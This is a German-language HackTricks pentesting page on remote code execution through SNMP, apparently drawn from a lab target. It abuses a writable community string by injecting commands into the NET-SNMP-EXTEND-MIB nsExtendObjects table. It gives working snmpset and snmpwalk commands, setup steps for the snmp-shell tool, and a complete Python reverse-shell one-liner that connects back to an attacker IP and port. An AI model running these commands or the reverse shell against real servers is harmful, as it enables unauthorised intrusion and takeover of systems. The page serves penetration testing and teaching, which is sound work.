5.4 KiB
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
SNMP RCE
SNMP kann von einem Angreifer ausgenutzt werden, wenn der Administrator die Standardkonfiguration auf dem Gerät oder Server übersieht. Durch Missbrauch der SNMP-Community mit Schreibberechtigungen (rwcommunity) auf einem Linux-Betriebssystem kann der Angreifer Befehle auf dem Server ausführen.
Erweiterung von Diensten mit zusätzlichen Befehlen
Um SNMP-Dienste zu erweitern und zusätzliche Befehle hinzuzufügen, ist es möglich, neue Zeilen zur "nsExtendObjects"-Tabelle hinzuzufügen. Dies kann erreicht werden, indem der Befehl snmpset
verwendet wird und die erforderlichen Parameter, einschließlich des absoluten Pfads zur ausführbaren Datei und des auszuführenden Befehls, bereitgestellt werden:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Befehle zur Ausführung injizieren
Das Injizieren von Befehlen, die auf dem SNMP-Dienst ausgeführt werden sollen, erfordert die Existenz und Ausführbarkeit des aufgerufenen Binaries/Skripts. Das NET-SNMP-EXTEND-MIB
verlangt die Angabe des absoluten Pfades zur ausführbaren Datei.
Um die Ausführung des injizierten Befehls zu bestätigen, kann der Befehl snmpwalk
verwendet werden, um den SNMP-Dienst aufzulisten. Die Ausgabe zeigt den Befehl und die zugehörigen Details an, einschließlich des absoluten Pfades:
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
Ausführen der Eingeschleusten Befehle
Wenn der eingeschleuste Befehl gelesen wird, wird er ausgeführt. Dieses Verhalten ist bekannt als run-on-read()
. Die Ausführung des Befehls kann während des snmpwalk-Lesens beobachtet werden.
Erlangen einer Server-Shell mit SNMP
Um die Kontrolle über den Server zu erlangen und eine Server-Shell zu erhalten, kann ein von mxrch entwickeltes Python-Skript von https://github.com/mxrch/snmp-shell.git verwendet werden.
Alternativ kann eine Reverse-Shell manuell erstellt werden, indem ein spezifischer Befehl in SNMP injiziert wird. Dieser Befehl, der durch den snmpwalk ausgelöst wird, stellt eine Reverse-Shell-Verbindung zum Rechner des Angreifers her und ermöglicht die Kontrolle über die Opfermaschine. Sie können die Voraussetzungen installieren, um dies auszuführen:
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
Oder eine Reverse-Shell:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
Referenzen
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.